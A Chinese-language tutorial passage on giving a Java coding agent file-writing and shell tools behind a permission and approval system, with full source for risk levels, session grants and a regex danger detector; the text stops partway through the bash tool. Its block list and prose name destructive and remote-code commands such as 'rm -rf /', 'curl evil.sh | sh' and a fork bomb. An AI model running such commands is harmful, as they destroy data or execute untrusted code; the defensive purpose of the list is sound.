Agent 实战(三):写工具与权限系统,让它从「能跑」变成「敢用」

M2 的 agent 能看。M3 给它手。

而一旦给了手,问题就从”能不能做到”变成了”该不该做”。 这一节的核心不是代码量,是设计一套让人敢用的信任模型。


0. 本节目标与验收标准

新增/修改的文件

src\main\java\dev\learn\agent\
├── Main.java                              ✏️ 加交互式审批
├── tool\
│   ├── Tool.java                          ✏️ 加 3 个 default 方法
│   ├── ToolContext.java                   ✏️ 加 permissions
│   ├── ToolRegistry.java                  ✏️ 执行前过权限
│   └── impl\
│       ├── ReadFileTool.java              ✏️ 加一行 requiresApproval()=false
│       ├── GlobTool.java                  ✏️ 同上
│       ├── GrepTool.java                  ✏️ 同上
│       ├── WriteFileTool.java             ✨ 新
│       ├── EditFileTool.java              ✨ 新
│       └── BashTool.java                  ✨ 新
└── permission\                            ✨ 全部新增
    ├── Risk.java                          风险等级
    ├── Approval.java                      审批结果
    ├── Approver.java                      审批人接口
    ├── DangerDetector.java                ★ 危险命令识别
    └── PermissionManager.java             ★ 权限决策中心

💡 注意 M2 的三个只读工具只加了一行 requiresApproval() { return false; }。 权限是横切关注点,它不应该渗进任何一个工具的实现里。 如果 M3 逼你去改 read_file 的 execute 方法,说明分层切错了。

验收标准

你> Create a file named notes.txt containing exactly: hello from the agent

⚙ write_file 	{"path": "notes.txt", "content": "hello from the agent\n"}
[轮次结束 TOOL_USE]

┌─ 需要授权 ─────────────────────────────
│ 工具:write_file
│ 新建文件 notes.txt(1 行)
│ 风险:LOW
└────────────────────────────────────────
  允许吗? [y]允许  [a]本会话总是允许  [n]拒绝 > y
  ← 已创建 notes.txt(21 字节,1 行)
已创建 notes.txt,内容为 `hello from the agent`。

✅ 写文件前会弹出审批,显示要做什么和风险等级 ✅ 拒绝后模型能优雅接受,不会死循环重试 ✅ rm -rf / 这类命令会被识别为 HIGH 风险 ✅ 只读工具(read_file/glob/grep)不弹窗


1. 概念:能力的代价

M2 的 agent 只能读。这意味着:

无论模型多蠢、多激进、被提示注入成什么样,它最坏的结果就是”读了不该读的东西”。 而路径沙箱已经把这一点也堵住了。

M3 要给它写权限和 shell。开口是巨大的:

工具最坏情况
write_file覆盖你的源码、删掉配置文件
edit_file在你没注意的地方悄悄改一行
run_bash任何事。包括 rm -rf /、git push --force、curl evil.sh | sh

特别是 run_bash——它让前面所有的路径沙箱全部失效。 一条 cat /etc/passwd 就绕过去了,一条 cp /etc/passwd ./ 就把它搬进工作目录了。

这就是真实存在的张力:能力越强,约束越难。

唯一可行的答案

在”完全不给”和”全给”之间,唯一可行的是让人在关键时刻有权说”不”。

类比:你不会因为”新来的实习生可能犯错”就不让他碰代码库。 你会给他权限,但关键操作(合并到主分支、发版)需要 review。 审批不是因为不信任,是因为后果不可逆。


2. 信任模型设计

这一节设计的东西全部会在代码里落地。先想清楚,再写。

2.1 四种选择,不是两种

一个只有”允许/拒绝”的系统,用起来是这样的:

⚙ 想读文件 a.java —— 允许吗? y
⚙ 想读文件 b.java —— 允许吗? y
⚙ 想读文件 c.java —— 允许吗? y
⚙ 想读文件 d.java —— 允许吗? y

这不是安全,这是折磨。 用户按到第四遍就会开始无脑按 y—— 于是安全系统变成了一个仪式,失去了全部意义。

⚠️ 审批疲劳是安全系统最大的敌人。 这个道理值得你记住一辈子。

所以需要区分:

情况策略
无副作用(读文件、搜代码)不问,直接放行
有副作用但可接受问,允许”本会话别再问了”
可能不可逆问,每一次都问

对应到代码就是三个概念:requiresApproval、Risk、permissionScope。

2.2 风险分级

public enum Risk {
    LOW,     // 基本无副作用
    MEDIUM,  // 会改状态,但影响可控
    HIGH     // 可能不可逆
}

风险等级最大的作用不是”拦住”,而是决定”会话授权能不能生效”:

if (risk == Risk.HIGH) {
    // 高风险永远重新确认 —— 跳过会话缓存
    return ask(...);
}
if (sessionAllowed.contains(scope)) {
    return Approval.once();
}
return ask(...);

⚠️ 那两行是整套设计里最不能省的地方。 没有它,“本会话总是允许 run_bash” 就会变成 “本会话允许 run_bash 执行 rm -rf /”。 用户授权的是”执行 git 命令”,不是”执行任何命令”——这两件事必须区分开。

2.3 授权粒度(最微妙的部分)

“本会话总是允许”要按什么粒度记住?

粒度后果
整个工具(run_bash)❌ 太粗。“允许 run_bash” = 允许一切
工具 + 命令第一个词(run_bash:git)⚠️ 还是粗。“允许 git” = 也允许 git push --force(好在 HIGH 不缓存,兜住了)
工具 + 完整命令✅ 安全,但每次命令稍有不同就问,很快疲劳
工具 + 具体文件(edit_file:src/a.java)✅ 对文件类工具正合适

没有正确答案,只有权衡。 我们的选择:

  • write_file → 按父目录(“总是允许写 src/main/java/demo/ 下的文件”)
  • edit_file → 按具体文件
  • run_bash → 按命令第一个词,靠 HIGH 等级兜底

2.4 黑名单还是白名单

DangerDetector 用的是正则黑名单。必须清醒地知道它的局限:

黑名单必然漏报。 你永远列不全 rm -rf / 的所有写法。

那为什么还用?因为它是最后一道提醒,不是唯一防线。真正的防线是”每一次都问人”。

白名单(只允许明确列举的命令)安全得多,但会牺牲灵活性——你想让 agent 跑 ./gradlew test 还得先把它加进白名单。

黑名单换灵活,白名单换安全。没有免费的选择。 而且注意:这个选择不是技术选择,是产品选择——取决于你打算把这个 agent 给谁用。


3. 第一步:permission 包

3.1 Risk.java

package dev.learn.agent.permission;

/**
 * 一次操作的风险等级。
 *
 * <p>用途有两个:决定审批提示显示成什么颜色,以及决定"本会话总是允许"能不能生效。
 */
public enum Risk {

    /** 基本无副作用。read_file / glob / grep 之类。 */
    LOW,

    /** 会改变工作区状态,但影响可控。写文件、改文件、普通的 rm/mv。 */
    MEDIUM,

    /**
     * 可能造成不可逆的破坏。删库、强推、格式化……
     * ⚠️ HIGH 永不适用"本会话总是允许"—— 每一次都必须重新确认。
     */
    HIGH
}

3.2 Approval.java

package dev.learn.agent.permission;

/**
 * 对一次审批请求的回答。
 */
public sealed interface Approval {

    /**
     * 批准。
     *
     * @param remember 是否本会话内不再询问同类操作(仅对非 HIGH 风险生效)
     */
    record Allowed(boolean remember) implements Approval {}

    /**
     * 拒绝。
     *
     * @param reason 理由。<b>会被原样告诉模型</b>,所以写清楚对模型有意义。
     */
    record Denied(String reason) implements Approval {}

    static Approval once() {
        return new Allowed(false);
    }

    static Approval always() {
        return new Allowed(true);
    }

    static Approval deny(String reason) {
        return new Denied(reason);
    }
}

💡 又是 sealed。这里的好处和 M1 一样:Approval 只可能是”批准”或”拒绝”, 而且 PermissionManager 里的 instanceof Approval.Denied 判断, 编译器能确保你考虑到所有分支。

3.3 Approver.java

package dev.learn.agent.permission;

/**
 * 审批人:真正去问"人"的那个东西。
 *
 * <p>把它抽成接口,是为了让 <b>策略</b> 和 <b>交互方式</b> 分开:
 * <ul>
 *   <li>命令行里它是"在终端问一句 y/n";</li>
 *   <li>在 CI 里它可以是"读环境变量,非白名单一律拒绝";</li>
 *   <li>在测试里它是"永远返回批准",让测试不需要人工干预。</li>
 * </ul>
 * 这就是为什么 M3 的权限系统可测试 —— 因为没有人被硬编码进去。
 */
@FunctionalInterface
public interface Approver {

    /**
     * @param toolName 工具名
     * @param action   这次要做什么的人话描述
     * @param risk     风险等级
     * @return 批准还是拒绝
     */
    Approval ask(String toolName, String action, Risk risk);
}

💡 注意它是个 @FunctionalInterface,而且方法没有声明受检异常。 这是个刻意的设计:接口不该强迫每个实现都去处理 IO 异常。 代价是命令行实现要自己把 IOException 就地消化掉——见第 5 节。

3.4 DangerDetector.java ★

package dev.learn.agent.permission;

import com.fasterxml.jackson.databind.JsonNode;
import dev.learn.agent.tool.ToolContext;

import java.nio.file.Files;
import java.nio.file.Path;
import java.util.List;
import java.util.regex.Pattern;

/**
 * 危险操作识别。
 *
 * <p>这是 M3 里最"策略化"的一块:它不是安全性问题(路径沙箱才是),
 * 而是<b>判断力问题</b> —— 什么算危险,取决于你要保护什么。
 *
 * <p>⚠️ 这里用的是<b>正则黑名单</b>。它必然漏报(永远列不全),
 * 只能当作"最后一道提醒",绝不能当作唯一防线。
 * 真正可靠的做法是白名单:只允许明确列举的操作。但那会牺牲灵活性。
 * <b>黑名单换灵活,白名单换安全 —— 没有免费的选择。</b>
 */
public final class DangerDetector {

    /** 一次评估的结果。 */
    public record Assessment(Risk risk, String reason) {

        static Assessment low() {
            return new Assessment(Risk.LOW, null);
        }
    }

    private record Rule(Pattern pattern, String reason) {
    }

    /**
     * 危险命令规则表。
     *
     * <p>每一条都是一个"如果命中,就必须让用户停下来看一眼"的模式。
     * 注意它们都是<b>模式</b>而不是精确字符串 —— 因为 `rm -rf /` 有一万种写法。
     */
    private static final List<Rule> BASH_RULES = List.of(
            new Rule(Pattern.compile(
                    "\\brm\\s+-\\w*r\\w*\\s+(/|~|\\$HOME|\\*|\\.)(\\s|$)", Pattern.CASE_INSENSITIVE),
                    "递归删除根目录 / 家目录 / 当前目录 / 通配符"),

            new Rule(Pattern.compile("\\bgit\\s+push\\b[^|;]*(--force\\b|\\s-f\\b)"),
                    "强制推送,会覆盖远端历史,别人的提交可能丢失"),

            new Rule(Pattern.compile("\\bgit\\s+reset\\s+--hard\\b"),
                    "丢弃所有未提交的本地修改,无法恢复"),

            new Rule(Pattern.compile("\\bgit\\s+clean\\s+-\\w*[fdx]"),
                    "删除未跟踪的文件/目录,无法恢复"),

            new Rule(Pattern.compile("\\bgit\\s+branch\\s+-D\\b"),
                    "强制删除分支,未合并的提交会丢"),

            new Rule(Pattern.compile("\\bgit\\s+checkout\\s+--\\s+\\."),
                    "丢弃工作区所有未提交修改"),

            new Rule(Pattern.compile("\\bsudo\\b"),
                    "以超级用户身份执行"),

            new Rule(Pattern.compile("(curl|wget)\\b[^|;]*\\|\\s*(ba|z)?sh\\b"),
                    "把从网上下载的脚本直接交给 shell 执行"),

            new Rule(Pattern.compile("\\bchmod\\s+(-R\\s+)?777\\b"),
                    "把权限开成任何人可读写执行"),

            new Rule(Pattern.compile("\\b(mkfs|fdisk|parted|mkswap)\\b"),
                    "格式化或重新分区磁盘"),

            new Rule(Pattern.compile("\\bdd\\b[^|;]*\\bof=/dev/"),
                    "直接写裸设备,可能摧毁磁盘内容"),

            new Rule(Pattern.compile(">\\s*/dev/(sd|nvme|hd)"),
                    "重定向覆盖磁盘设备"),

            new Rule(Pattern.compile(":\\s*\\(\\s*\\)\\s*\\{\\s*:\\s*\\|\\s*:\\s*&\\s*\\}\\s*;\\s*:"),
                    "fork 炸弹,会耗尽系统进程"),

            new Rule(Pattern.compile("\\b(shutdown|reboot|halt|poweroff)\\b"),
                    "关机或重启"),

            new Rule(Pattern.compile("\\bkill\\s+-9\\s+(-1|1)\\b"),
                    "杀死 init 或所有进程"),

            new Rule(Pattern.compile("\\bhistory\\s+-c\\b|\\b>\\.bash_history\\b"),
                    "清除或篡改 shell 历史(可能在掩盖痕迹)")
    );

    /** 破坏性但不足以判为 HIGH 的动词。 */
    private static final Pattern DESTRUCTIVE =
            Pattern.compile("\\b(rm|rmdir|mv|truncate|>|>>)\\b");

    private DangerDetector() {
    }

    /**
     * 评估一次调用的风险。
     *
     * <p>注意这个方法是<b>纯函数</b>:只读参数,不看全局状态。
     * 所以它可以被单元测试覆盖到每一条规则,不需要启动 agent。
     */
    public static Assessment assess(String toolName, JsonNode args, ToolContext ctx) {
        return switch (toolName) {
            case "run_bash" -> assessBash(args);
            case "write_file" -> assessWrite(args, ctx);
            case "edit_file" -> new Assessment(Risk.MEDIUM, "修改已有文件的内容");
            default -> Assessment.low();
        };
    }

    private static Assessment assessBash(JsonNode args) {
        String command = args.path("command").asText("");
        for (Rule rule : BASH_RULES) {
            if (rule.pattern().matcher(command).find()) {
                return new Assessment(Risk.HIGH, rule.reason());
            }
        }
        if (DESTRUCTIVE.matcher(command).find()) {
            return new Assessment(Risk.MEDIUM, "命令包含删除/移动/重定向等破坏性操作");
        }
        return Assessment.low();
    }

    private static Assessment assessWrite(JsonNode args, ToolContext ctx) {
        String path = args.path("path").asText("");
        try {
            Path target = ctx.resolve(path);
            if (Files.exists(target)) {
                return new Assessment(Risk.MEDIUM, "覆盖一个已经存在的文件");
            }
        } catch (RuntimeException ignored) {
            // 路径非法的话,工具自己会拒绝,不用在这里报警
        }
        return Assessment.low();
    }
}

💡 注意它是个纯函数(除了 Files.exists 这个只读检查)。 这意味着它可以被单元测试穷举——给它 100 条命令,验证每一条的判定结果。 我在第 9 节就是这么验证的,一行 agent 代码都没跑。

“可测试”不是事后加的,是设计出来的。

3.5 PermissionManager.java ★

package dev.learn.agent.permission;

import com.fasterxml.jackson.databind.JsonNode;
import dev.learn.agent.tool.Tool;
import dev.learn.agent.tool.ToolContext;

import java.util.Set;
import java.util.concurrent.ConcurrentHashMap;

/**
 * 权限管理器:决定一次工具调用能不能执行。
 *
 * <p>它只做一件事:把"这一次要不要问人"这个判断集中到一个地方。
 * 工具本身完全不知道权限的存在 —— 这是刻意的,
 * 因为权限是<b>横切关注点</b>:它和"读文件"这个功能没有逻辑关系,
 * 但几乎每个有副作用的工具都需要它。
 */
public final class PermissionManager {

    private final Approver approver;

    /**
     * 本会话内已经"总是允许"的粒度键。
     *
     * <p>为什么用 ConcurrentHashMap 的 keySet 而不是 HashSet?
     * 因为工具是并发执行的(虚拟线程),多个线程可能同时检查/写入。
     */
    private final Set<String> sessionAllowed = ConcurrentHashMap.newKeySet();

    public PermissionManager(Approver approver) {
        this.approver = approver;
    }

    /** 一个什么都不问、全部放行的实现。测试和不关心权限的场景用。 */
    public static PermissionManager allowAll() {
        return new PermissionManager((tool, action, risk) -> Approval.always());
    }

    /**
     * 检查一次调用。
     *
     * <p>决策顺序(很重要,顺序本身就是设计):
     * <ol>
     *   <li>工具声明不需要审批 → 直接放行(只读工具走这条路,不打扰用户)</li>
     *   <li>高风险 → <b>跳过会话缓存,必须重新问</b></li>
     *   <li>同粒度已授权过 → 放行</li>
     *   <li>否则 → 问人</li>
     * </ol>
     */
    public Approval check(Tool tool, JsonNode args, ToolContext ctx) {
        if (!tool.requiresApproval()) {
            return Approval.once();
        }

        DangerDetector.Assessment assessment = DangerDetector.assess(tool.name(), args, ctx);
        Risk risk = assessment.risk();
        String scope = tool.permissionScope(args, ctx);

        // ⚠️ 高风险永远重新确认。这一条是整套设计里最不能省的一行。
        if (risk == Risk.HIGH) {
            return ask(tool.name(), tool.describeAction(args, ctx), risk, assessment.reason(), scope, false);
        }

        if (sessionAllowed.contains(scope)) {
            return Approval.once();
        }

        return ask(tool.name(), tool.describeAction(args, ctx), risk, assessment.reason(), scope, true);
    }

    private Approval ask(String toolName, String action, Risk risk,
                         String riskReason, String scope, boolean rememberable) {
        Approval approval = approver.ask(toolName, formatAction(action, riskReason), risk);
        if (approval instanceof Approval.Allowed allowed
                && allowed.remember()
                && rememberable) {
            sessionAllowed.add(scope);
        }
        return approval;
    }

    private static String formatAction(String action, String riskReason) {
        if (riskReason == null) {
            return action;
        }
        return action + "\n    ⚠ 命中危险规则:" + riskReason;
    }

    /** 忘记所有会话级授权。 */
    public void forgetAll() {
        sessionAllowed.clear();
    }
}

4. 第二步:Tool 接口的三个新方法

    // ─────────────────── M3 新增:参与权限系统 ───────────────────

    /**
     * 这个工具是否需要用户审批。
     *
     * <p>只读、无副作用的工具覆写成 false —— 每一次读文件都弹窗会让人疯掉,
     * 而且会训练用户无脑按"允许"。<b>审批疲劳是安全系统最大的敌人。</b>
     */
    default boolean requiresApproval() {
        return true;
    }

    /**
     * 用"人话"描述这次调用准备做什么,展示给用户做审批。
     *
     * <p>⚠️ 这段文字直接决定用户能不能看懂自己将要同意什么。
     * 写 `write_file {"path":"a.java","content":"..."}` 是失职;
     * 要写"覆盖 src/Main.java(现有 1200 字节 → 新 3400 字节)"。
     */
    default String describeAction(JsonNode args, ToolContext ctx) {
        return name() + " " + args;
    }

    /**
     * 会话级授权的粒度。
     *
     * <p>相同 scope 的后续调用不再询问。默认是整个工具,
     * 但这个默认值<b>太粗</b>——"总是允许 write_file"等于允许写任何文件。
     * 有副作用的工具应该覆写它,把粒度收窄到具体对象上。
     */
    default String permissionScope(JsonNode args, ToolContext ctx) {
        return name();
    }

三个都是 default,这是关键。 M2 写的三个只读工具只需要加一行 requiresApproval() 覆写, 其余代码一个字不动。接口加 default 方法 = 不破坏已有实现,这是 Java 演进大型接口的标准手法。

然后给三个只读工具各加三行:

    /** 只读,无副作用,不该打扰用户。 */
    @Override
    public boolean requiresApproval() {
        return false;
    }

5. 第三步:改造 ToolContext 和 ToolRegistry

5.1 ToolContext

只加了一个字段:

public final class ToolContext {

    private final Path root;
    private final PermissionManager permissions;      // ← 新增

    public ToolContext(Path root, PermissionManager permissions) {
        this.root = root.toAbsolutePath().normalize();
        this.permissions = permissions;
    }

    public Path root() { ... }
    public PermissionManager permissions() { return permissions; }   // ← 新增

    public Path resolve(String userPath) { ... }   // 不变
    public String display(Path path) { ... }       // 不变
}

⚠️ 构造函数多了一个参数 —— 这是破坏性改动,Main 必须跟着改。 但注意影响范围:只有 Main 需要改,三个只读工具一行都没动。 因为工具拿到的是 ToolContext 对象,它多一个字段,工具根本不需要知道。

5.2 ToolRegistry.executeOne — 权限检查插在这里

    private ToolResult executeOne(ToolCall call, ToolContext ctx) {
        Tool tool = byName.get(call.name());
        if (tool == null) {
            return ToolResult.error(call.id(),
                    "没有名为 " + call.name() + " 的工具。可用工具:" + byName.keySet());
        }

        JsonNode args;
        try {
            args = JSON.readTree(call.arguments());
        } catch (Exception e) {
            return ToolResult.error(call.id(),
                    "工具参数不是合法 JSON:" + call.arguments());
        }

        // ── ★ M3 新增:执行之前先过权限 ──
        Approval approval = ctx.permissions().check(tool, args, ctx);
        if (approval instanceof Approval.Denied denied) {
            // 💡 关键设计:拒绝不是"流程终止",而是"一次对话"。
            //    模型收到这条消息后,可以解释理由、换个方式、或者就此放弃。
            return ToolResult.error(call.id(),
                    "用户拒绝了这个操作。理由:" + denied.reason()
                            + "\n请不要原样重试。如果这个操作确实必要,先向用户说明为什么;"
                            + "或者换一种用户能接受的方式。");
        }

        try {
            return ToolResult.ok(call.id(), tool.execute(args, ctx));
        } catch (Exception e) {
            return ToolResult.error(call.id(),
                    "工具 " + call.name() + " 执行失败:" + e.getMessage()
                            + "\n你传入的参数是:" + call.arguments());
        }
    }

两个设计点:

① 权限检查在 execute 之前,而不是在工具内部。 这样保证”没有任何工具能绕过权限”——因为绕过权限的唯一办法是不走 executeOne, 而 executeOne 是唯一的入口。

② 拒绝走的是 ToolResult.error,不是异常。 这是 M2 “错误即信息”思想的延续。模型收到”用户拒绝了,理由是 X”之后, 实测中它会说:

已取消,没有创建任何文件。如果之后确实需要这个文件,可以告诉我,或者换个位置再建。

这不是终止,这是一次对话。 模型理解了意图,并提出替代方案。


6. 第四步:三个新工具

6.1 WriteFileTool.java

package dev.learn.agent.tool.impl;

import com.fasterxml.jackson.databind.JsonNode;
import dev.learn.agent.tool.Schema;
import dev.learn.agent.tool.Tool;
import dev.learn.agent.tool.ToolContext;

import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;

/**
 * 创建或覆盖文件。
 *
 * <p>⚠️ 它是<b>整体覆盖</b>,不是追加,也不是合并。
 * 模型非常容易把 write_file 当成"编辑"来用,然后把你文件里原有的内容全删了。
 * 所以描述和错误信息里都要反复强调这一点。
 */
public final class WriteFileTool implements Tool {

    private static final int MAX_CONTENT_BYTES = 1_000_000;

    @Override
    public String name() {
        return "write_file";
    }

    @Override
    public String description() {
        return """
                创建或【整体覆盖】一个文件。⚠️ 是覆盖,不是追加、不是修改。
                什么时候用:创建新文件。
                什么时候不要用:修改已有文件时【必须】用 edit_file —— 用 write_file 改文件
                会让你重写整个文件,非常容易丢掉你没注意到的内容。
                注意:会自动创建缺失的父目录;content 是完整的文件内容。
                """;
    }

    @Override
    public JsonNode parametersSchema() {
        return Schema.object()
                .string("path", "文件路径,相对工作目录,例如 src/main/java/demo/Helper.java")
                .string("content", "文件的完整内容(不是片段!)")
                .required("path")
                .required("content")
                .build();
    }

    @Override
    public String execute(JsonNode args, ToolContext ctx) throws Exception {
        String rawPath = args.path("path").asText("");
        if (rawPath.isBlank()) {
            return "错误:path 不能为空";
        }
        if (!args.has("content")) {
            return "错误:缺少 content 参数";
        }

        String content = args.path("content").asText("");
        if (content.getBytes(StandardCharsets.UTF_8).length > MAX_CONTENT_BYTES) {
            return "错误:内容超过 1MB,请拆分成多次写入";
        }

        Path file = ctx.resolve(rawPath);
        boolean existed = Files.exists(file);

        Path parent = file.getParent();
        if (parent != null) {
            Files.createDirectories(parent);
        }
        Files.writeString(file, content, StandardCharsets.UTF_8);

        long bytes = Files.size(file);
        return (existed ? "已覆盖 " : "已创建 ") + ctx.display(file)
                + "(" + bytes + " 字节," + content.lines().count() + " 行)";
    }

    @Override
    public String describeAction(JsonNode args, ToolContext ctx) {
        String path = args.path("path").asText("");
        String content = args.path("content").asText("");
        long lines = content.lines().count();
        try {
            Path target = ctx.resolve(path);
            if (Files.exists(target)) {
                // ⚠️ 一定要把"原有大小"和"新大小"都写出来,
                //    用户才能一眼看出这是不是在毁掉什么
                long oldSize = Files.size(target);
                return "覆盖已有文件 " + ctx.display(target)
                        + "\n    现有 " + oldSize + " 字节 → 新的 " + content.length() + " 字符 / " + lines + " 行"
                        + "\n    ⚠️ 原内容将全部丢失";
            }
        } catch (Exception ignored) {
            // 路径非法由 execute 负责报错
        }
        return "新建文件 " + path + "(" + lines + " 行)";
    }

    /**
     * 会话级授权的粒度是<b>父目录</b>而不是整个工具。
     * "总是允许 write_file" 等于允许写任何文件;
     * "总是允许写 src/main/java/demo/ 下的文件" 就合理得多。
     */
    @Override
    public String permissionScope(JsonNode args, ToolContext ctx) {
        String path = args.path("path").asText("");
        int slash = path.lastIndexOf('/');
        return name() + ":" + (slash < 0 ? "." : path.substring(0, slash));
    }
}

6.2 EditFileTool.java ★ 唯一性检查

package dev.learn.agent.tool.impl;

import com.fasterxml.jackson.databind.JsonNode;
import dev.learn.agent.tool.Schema;
import dev.learn.agent.tool.Tool;
import dev.learn.agent.tool.ToolContext;

import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;

/**
 * 精确字符串替换。修改已有代码的<b>首选</b>方式。
 *
 * <p>它比 write_file 安全得多,因为模型只需要提供"改动的那一段",
 * 而不是重写整个文件 —— 于是它不可能在重写时顺手丢掉别的内容。
 */
public final class EditFileTool implements Tool {

    @Override
    public String name() {
        return "edit_file";
    }

    @Override
    public String description() {
        return """
                在文件中做精确的字符串替换。修改已有代码时优先用这个,不要用 write_file。
                要求:old_string 必须与文件中的内容【完全一致】(包括空格和缩进),
                并且在文件中【唯一出现】。如果它出现多次,请多带几行上下文使它唯一,
                或者把 replace_all 设为 true。
                建议:改动之前先用 read_file 看清原文,不要凭记忆猜格式。
                """;
    }

    @Override
    public JsonNode parametersSchema() {
        return Schema.object()
                .string("path", "文件路径,相对工作目录")
                .string("old_string", "要被替换的原文。必须与文件内容完全一致,包括缩进")
                .string("new_string", "替换成的新内容。传空字符串表示删除这段")
                .bool("replace_all", "是否替换所有出现的位置。默认 false")
                .required("path")
                .required("old_string")
                .required("new_string")
                .build();
    }

    @Override
    public String execute(JsonNode args, ToolContext ctx) throws Exception {
        Path file = ctx.resolve(args.path("path").asText(""));

        if (!Files.exists(file)) {
            return "错误:文件不存在:" + ctx.display(file) + "。新建文件请用 write_file。";
        }
        if (!args.has("old_string")) {
            return "错误:缺少 old_string 参数";
        }

        String oldString = args.path("old_string").asText("");
        String newString = args.path("new_string").asText("");
        boolean replaceAll = args.path("replace_all").asBoolean(false);

        if (oldString.isEmpty()) {
            // ⚠️ 空字符串在 Java 里会匹配到每个位置,直接把文件搞乱
            return "错误:old_string 不能为空。如果你想整体重写文件,用 write_file。";
        }

        String original = Files.readString(file, StandardCharsets.UTF_8);
        int occurrences = countOccurrences(original, oldString);

        if (occurrences == 0) {
            // 💡 这是最常见的失败。错误信息要给出"下一步怎么办",而不是只说"没找到"。
            return "错误:在 " + ctx.display(file) + " 中没有找到 old_string。\n"
                    + "可能原因:缩进或空格不一致、内容已变化。\n"
                    + "建议:先用 read_file 读一遍这个文件,用文件里的原文重试。\n"
                    + "你给的 old_string 是:\n" + abbreviate(oldString);
        }

        if (occurrences > 1 && !replaceAll) {
            // 💡 唯一性检查是 edit 工具的灵魂。
            //    没有它,模型会在你没注意到的地方悄悄改掉一处不该改的代码。
            return "错误:old_string 在文件中出现了 " + occurrences + " 次,无法确定改哪一处。\n"
                    + "解决办法:多带几行上下文(比如把上一行和下一行也包进来)使它唯一,\n"
                    + "或者显式设置 replace_all=true 来替换全部 " + occurrences + " 处。";
        }

        String updated = replaceAll
                ? original.replace(oldString, newString)
                : replaceFirst(original, oldString, newString);

        Files.writeString(file, updated, StandardCharsets.UTF_8);

        return "已修改 " + ctx.display(file)
                + "(替换 " + (replaceAll ? occurrences : 1) + " 处)";
    }

    @Override
    public String describeAction(JsonNode args, ToolContext ctx) {
        String path = args.path("path").asText("");
        String oldString = args.path("old_string").asText("");
        String newString = args.path("new_string").asText("");
        return "修改 " + path
                + "\n    - " + abbreviate(oldString).replace("\n", "\n      ")
                + "\n    + " + abbreviate(newString).replace("\n", "\n      ");
    }

    /** 粒度是具体文件,不是整个工具。 */
    @Override
    public String permissionScope(JsonNode args, ToolContext ctx) {
        return name() + ":" + args.path("path").asText("");
    }

    private static int countOccurrences(String haystack, String needle) {
        int count = 0;
        int index = haystack.indexOf(needle);
        while (index >= 0) {
            count++;
            index = haystack.indexOf(needle, index + needle.length());
        }
        return count;
    }

    private static String replaceFirst(String haystack, String target, String replacement) {
        int index = haystack.indexOf(target);
        return haystack.substring(0, index) + replacement + haystack.substring(index + target.length());
    }

    private static String abbreviate(String s) {
        String one = s.strip();
        return one.length() <= 200 ? one : one.substring(0, 200) + "…";
    }
}

为什么”唯一性检查”是这个工具的灵魂?

想想没有它会怎样:模型说”把 return a + b; 改成 return Math.addExact(a, b);”。 文件里有三处 return a + b;。String.replace 会默默改掉全部三处。

你事后 review diff 的时候,看到三个无关的函数都被改了,还得自己判断哪一处是模型真想改的。

所以 edit_file 必须拒绝”不确定的修改”。 宁可让模型多带几行上下文重试一次,也不能让它猜。 在”可能改错”和”多问一句”之间,选后者。

这和 M3 的整个主题是同一件事:不可逆的操作,宁可停下来。

6.3 BashTool.java ★ 最危险的工具

package dev.learn.agent.tool.impl;

import com.fasterxml.jackson.databind.JsonNode;
import dev.learn.agent.tool.Schema;
import dev.learn.agent.tool.Tool;
import dev.learn.agent.tool.ToolContext;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.List;
import java.util.concurrent.TimeUnit;

/**
 * 执行 shell 命令。
 *
 * <p>这是最强大的工具 —— 它能做任何事。也是<b>最危险</b>的工具,
 * 因为它能做任何事。它的存在意味着前面所有的路径沙箱都只是"针对文件工具的",
 * 一条 {@code cat /etc/passwd} 就绕过去了。
 *
 * <p>⚠️ 这是真实存在的张力:<b>能力越强,约束越难</b>。
 */
public final class BashTool implements Tool {

    private static final int DEFAULT_TIMEOUT_SECONDS = 30;
    private static final int MAX_TIMEOUT_SECONDS = 300;
    private static final int MAX_OUTPUT_CHARS = 30_000;

    /** 启动时探测一次用什么 shell。 */
    private static final List<String> SHELL = detectShell();

    @Override
    public String name() {
        return "run_bash";
    }

    @Override
    public String description() {
        return """
                在 shell 里执行一条命令,返回它的输出(stdout 和 stderr 合并)和退出码。
                工作目录是项目根目录。
                什么时候用:跑测试、编译构建、git 操作、查看环境信息、执行脚本。
                什么时候【不要】用:读文件用 read_file,找文件用 glob,搜内容用 grep。
                那些专用工具比 `cat` / `find` / `grep` 更可控,结果也更省 token。
                注意:有超时限制(默认 30 秒,最长 300 秒);输出超过 3 万字符会被截断。
                """;
    }

    @Override
    public JsonNode parametersSchema() {
        return Schema.object()
                .string("command", "要执行的命令,例如 \"mvn -q test\" 或 \"git status\"")
                .integer("timeout_seconds", "超时秒数。可选,默认 30,最大 300")
                .required("command")
                .build();
    }

    @Override
    public String execute(JsonNode args, ToolContext ctx) throws Exception {
        String command = args.path("command").asText("");
        if (command.isBlank()) {
            return "错误:command 不能为空";
        }

        int timeout = args.path("timeout_seconds").asInt(DEFAULT_TIMEOUT_SECONDS);
        timeout = Math.clamp(timeout, 1, MAX_TIMEOUT_SECONDS);

        ProcessBuilder builder = new ProcessBuilder(SHELL.get(0), SHELL.get(1), command);
        builder.directory(ctx.root().toFile());
        // 把 stderr 并进 stdout,这样输出顺序和终端里看到的一致
        builder.redirectErrorStream(true);

        Process process = builder.start();

        // ⚠️ 必须在另一个线程里读输出。
        //    如果先在当前线程 waitFor 再读,而命令输出超过管道缓冲区(通常 64KB),
        //    子进程会因为写不进去而阻塞,永远不退出,你俩就互相等死。
        StringBuilder output = new StringBuilder();
        Thread reader = Thread.ofVirtual().start(() -> {
            try (BufferedReader in = new BufferedReader(
                    new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8))) {
                String line;
                while ((line = in.readLine()) != null) {
                    if (output.length() < MAX_OUTPUT_CHARS * 2) {
                        output.append(line).append('\n');
                    }
                }
            } catch (IOException ignored) {
                // 进程被杀时流会断,正常
            }
        });

        boolean finished = process.waitFor(timeout, TimeUnit.SECONDS);
        if (!finished) {
            process.destroyForcibly();
            process.waitFor(5, TimeUnit.SECONDS);
            reader.join(2000);
            return "错误:命令超过 " + timeout + " 秒仍未结束,已被强制终止。\n"
                    + "已产生的输出:\n" + truncate(output.toString())
                    + "\n(提示:可以用 timeout_seconds 参数调大超时,最多 300 秒)";
        }

        reader.join(5000);
        int exitCode = process.exitValue();

        String body = truncate(output.toString());
